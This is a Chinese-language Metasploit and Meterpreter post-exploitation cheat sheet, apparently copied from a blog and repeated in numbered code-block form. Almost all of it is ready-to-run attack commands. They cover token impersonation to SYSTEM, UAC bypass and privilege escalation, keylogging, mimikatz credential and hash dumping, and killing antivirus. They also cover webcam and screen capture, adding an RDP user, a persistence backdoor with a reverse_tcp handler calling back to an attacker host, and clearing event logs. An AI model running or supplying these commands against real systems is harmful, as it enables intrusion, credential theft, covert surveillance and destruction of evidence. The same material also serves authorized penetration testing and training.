msf基础命令
解决msfshell乱码
chcp 65001
1chcp 65001
加载模块 use name 查看网络配置 ifconfig 获取进程列表 ps 查看所有exploit show exploits 查看所有payload show payloads 查看所有auxiliary show auxiliary 展示模块详细信息 info 查找模块 search name 查看当前运行的模块 jobs 重启目标机器 reboot 关闭目标机器 shutdown 获取交互shell shell 当前meterpreter到后台 background 离开msf quit
x
1加载模块
2use name
3
4查看网络配置
5ifconfig
6
7获取进程列表
8ps
9
10查看所有exploit
11show exploits
12
13查看所有payload
14show payloads
15
16查看所有auxiliary
17show auxiliary
18
19展示模块详细信息
20info
21
22查找模块
23search name
24
25查看当前运行的模块
26jobs
27
28重启目标机器
29reboot
30
31关闭目标机器
32shutdown
33
34获取交互shell
35shell
36
37当前meterpreter到后台
38background
39
40离开msf
41quit
msf后渗透模块
基本功能
(1)系统信息获取
(2)密码哈希导出
(3)文件上传下载
(4)屏幕截取
(5)键盘记录
(6)权限提升
(7)跳板攻击
(8)反追踪
优点: 纯内存工作模式,执行漏洞渗透攻击的时候会直接装载meterpreter的 动态链接库到目标进程的空间中,使得meterpreter启动隐蔽,很难被杀毒软 件检测到;
一、后渗透基本操作
1.基本命令
background # 让meterpreter处于后台模式 sessions -i index # 与会话进行交互,index表示第一个session quit # 退出会话 shell # 获得控制台权限 irb # 开启ruby终端 2.文件操作命令 cat # 查看文件内容 getwd # 查看当前工作目录 upload # 上传文件到目标机上 download # 下载文件到本机上
19
1background # 让meterpreter处于后台模式
2
3sessions -i index # 与会话进行交互,index表示第一个session
4
5quit # 退出会话
6
7shell # 获得控制台权限
8
9irb # 开启ruby终端
10
112.文件操作命令
12
13cat # 查看文件内容
14
15getwd # 查看当前工作目录
16
17upload # 上传文件到目标机上
18
19download # 下载文件到本机上
来源: https://cloud.tencent.com/developer/article/1472206
端口转发
portfwd add -l 6666 -p 3389 -r 127.0.0.1
设置Socks代理
Socks4a代理
use auxiliary/server/socks4a set srvhost 127.0.0.1 set srvport 1080 run
4
1use auxiliary/server/socks4a
2set srvhost 127.0.0.1
3set srvport 1080
4run
Socks5代理
use auxiliary/server/socks5 set USERNAME root set PASSWORD Password@ run
4
1use auxiliary/server/socks5
2set USERNAME root
3set PASSWORD Password@
4run
添加路由
获取网段信息 run get_local_subnets 查看帮助 run autoroute –h 添加到目标环境网络 run autoroute -s 192.168.0.1/24 打印添加的路由 run autoroute –p 删除路由 run autoroute -d -s 192.168.0.1/24
1获取网段信息
2run get_local_subnets
3
4查看帮助
5run autoroute –h
6
7添加到目标环境网络
8run autoroute -s 192.168.0.1/24
9
10打印添加的路由
11run autoroute –p
12
13删除路由
14run autoroute -d -s 192.168.0.1/24
execute执行文件
在目标机中执行文件 execute
创建新进程cmd.exe,-H不可见,-i交互 execute -H -i -f cmd.exe
-f:指定可执行文件 -H:创建一个隐藏进程 -a:传递给命令的参数 -i:跟进程进行交互 -m:从内存中执行 -t: 使用当前伪造的线程令牌运行进程 -s: 在给定会话中执行进程
13
1-f:指定可执行文件
2
3-H:创建一个隐藏进程
4
5-a:传递给命令的参数
6
7-i:跟进程进行交互
8
9-m:从内存中执行
10
11-t: 使用当前伪造的线程令牌运行进程
12
13-s: 在给定会话中执行进程
migrate转移进程
获取当前进程PID getpid 获取进程列表 ps 转移进程 migrate PID 杀死进程 kill PID 自动进程迁移 run post/windows/manage/migrate 监听设置自动转移进程 set autorunscript migrate -f
1获取当前进程PID
2getpid
3
4获取进程列表
5ps
6
7转移进程
8migrate PID
9
10杀死进程
11kill PID
12
13自动进程迁移
14run post/windows/manage/migrate
15
16监听设置自动转移进程
17set autorunscript migrate -f
令牌窃取
使用模块 use incognito 查看可用token list_tokens -u 假冒SYSTEM权限 impersonate_token 'NT AUTHORITY\SYSTEM' 利用假冒身份执行命令 execute -f cmd.exe -i –t 或者直接shell即可 返回原始权限 rev2self
x
1使用模块
2use incognito
3
4查看可用token
5list_tokens -u
6
7假冒SYSTEM权限
8impersonate_token 'NT AUTHORITY\SYSTEM'
9
10利用假冒身份执行命令
11execute -f cmd.exe -i –t
12或者直接shell即可
13
14返回原始权限
15rev2self
提权相关
加载特权提升扩展模块 use priv 获取更多的特权 getprivs 查看补丁信息 run post/windows/gather/enum_patches 可利用exp提权检测 use post/multi/recon/local_exploit_suggester 系统服务权限配置错误 use exploit/windows/local/service_permissions 注册表键配置错误提取 use exploit/windows/local/always_install_elevated 可信任服务路径 use exploit/windows/local/trusted_service_path
1加载特权提升扩展模块
2use priv
3
4获取更多的特权
5getprivs
6
7查看补丁信息
8run post/windows/gather/enum_patches
9
10可利用exp提权检测
11use post/multi/recon/local_exploit_suggester
12
13系统服务权限配置错误
14use exploit/windows/local/service_permissions
15
16注册表键配置错误提取
17use exploit/windows/local/always_install_elevated
18
19可信任服务路径
20use exploit/windows/local/trusted_service_path
bypassuac
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
键盘鼠标设置
禁用鼠标 uictl disable mouse
禁用键盘 uictl disable keyboard
启用鼠标 uictl enable mouse
启用键盘 uictl enable keyboard
键盘记录
开始键盘记录 keyscan_start 导出记录数据 keyscan_dump 结束键盘记录 keyscan_stop
8
1开始键盘记录
2keyscan_start
3
4导出记录数据
5keyscan_dump
6
7结束键盘记录
8keyscan_stop
信息搜集
查看当前目录 pwd getwd 查看目标主机信息 sysinfo 检查目标机器闲置时间 idletime 获取代理信息 getproxy 查看目标主机是否运行在虚拟机上 run checkvm run post/windows/gather/checkvm 获取主机安装软件、补丁 run post/windows/gather/enum_applications run post/windows/gather/enum_patches #补丁信息 获取目标主机环境变量 run post/multi/gather/env 获取IE缓存 run post/windows/gather/enum_ie 获取Chrome缓存 run post/windows/gather/enum_chrome 获取Firefox缓存 run post/windows/gather/enum_firefox 列举当前登录的用户 run post/windows/gather/enum_logged_on_users 查找域控 run post/windows/gather/enum_domain Windows凭证搜索 run post/windows/gather/enum_unattend 获取办公文档 run post/windows/gather/dumplinks 获取目标常见信息并保存到本地 run scraper 屏幕截图 screenshot
1查看当前目录
2pwd
3getwd
4
5查看目标主机信息
6sysinfo
7
8检查目标机器闲置时间
9idletime
10
11获取代理信息
12getproxy
13
14查看目标主机是否运行在虚拟机上
15run checkvm
16run post/windows/gather/checkvm
17
18获取主机安装软件、补丁
19run post/windows/gather/enum_applications
20run post/windows/gather/enum_patches #补丁信息
21
22获取目标主机环境变量
23run post/multi/gather/env
24
25获取IE缓存
26run post/windows/gather/enum_ie
27
28获取Chrome缓存
29run post/windows/gather/enum_chrome
30
31获取Firefox缓存
32run post/windows/gather/enum_firefox
33
34列举当前登录的用户
35run post/windows/gather/enum_logged_on_users
36
37查找域控
38run post/windows/gather/enum_domain
39
40Windows凭证搜索
41run post/windows/gather/enum_unattend
42
43获取办公文档
44run post/windows/gather/dumplinks
45
46获取目标常见信息并保存到本地
47run scraper
48
49屏幕截图
50screenshot
密码获取
抓取自动登录的用户名和密码 run post/windows/gather/credentials/windows_autologin
hashdump run post/windows/gather/smart_hashdump
mimikatz
加载 load mimikatz
获取hash值 msv
获取明文 Kerberos
获取系统账户信息 wdigest
mimikatz_command -f samdump::hashes #执行mimikatz原始命令 mimikatz_command -f sekurlsa::searchPasswords
1mimikatz_command -f samdump::hashes #执行mimikatz原始命令
2mimikatz_command -f sekurlsa::searchPasswords
meterpreter > load mimikatz #加载mimikatz meterpreter > msv #获取hash值 meterpreter > Kerberos #获取明文 meterpreter > ssp #获取明文信息 meterpreter > wdigest #获取系统账户信息 meterpreter > mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示 meterpreter > mimikatz_command -f hash:: #获取目标 hash meterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f sekurlsa::searchPasswords
x
1meterpreter > load mimikatz #加载mimikatz
2
3meterpreter > msv #获取hash值
4
5meterpreter > Kerberos #获取明文
6
7meterpreter > ssp #获取明文信息
8
9meterpreter > wdigest #获取系统账户信息
10
11meterpreter > mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
12
13meterpreter > mimikatz_command -f hash:: #获取目标 hash
14
15meterpreter > mimikatz_command -f samdump::hashes
16
17meterpreter > mimikatz_command -f sekurlsa::searchPasswords
流量抓取
查看网卡信息 run packetrecorder -L
查看流量 run packetrecorder -i <网卡ID>
端口扫描、主机发现
使用arp发现主机 run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
扫描tcp端口 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
防火墙、杀软
关闭杀软 run killav
查看防火墙状态 run getcountermeasure
在shell中使用 netsh firewall show opmode
2
1在shell中使用
2netsh firewall show opmode
Hash传递
use exploit/windows/smb/psexec
摄像头、屏幕
查看摄像头信息 webcam_list
使用摄像头拍照 webcam_snap
屏幕监视 run vnc
开启远程桌面
开启远程桌面 run post/windows/manage/enable_rdp
添加用户 run post/windows/manage/enable_rdp USERNAME=gugugu PASSWORD=Root123456789
将3389端口转发到6662端口 run post/windows/manage/enable_rdp FORWARD=true LPORT=6662
cmdshell升级
查看全部会话 sessions
选择会话1 sessions 1
升级meterpreter sessions -u 会话id
持久化控制后门
run persistence -X -i 50 -p 4444 -r 192.168.1.7
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.109.137 set LPORT 4444 exploit
5
1use exploit/multi/handler
2set payload windows/meterpreter/reverse_tcp
3set LHOST 192.168.109.137
4set LPORT 4444
5exploit
run metsvc
针对linux平台
目标主机保存的ssh身份验证信息 run post/multi/gather/ssh_creds
擦屁股、清痕迹
删除添加的账号 C:\Windows\system32> net user 添加的用户名 /del
删除日志 clearev
关闭所有session连接 sessions -K
事件日志
查看事件日志 run event_manager -i 清除事件日志 run event_manager -c
5
1查看事件日志
2run event_manager -i
3
4清除事件日志
5run event_manager -c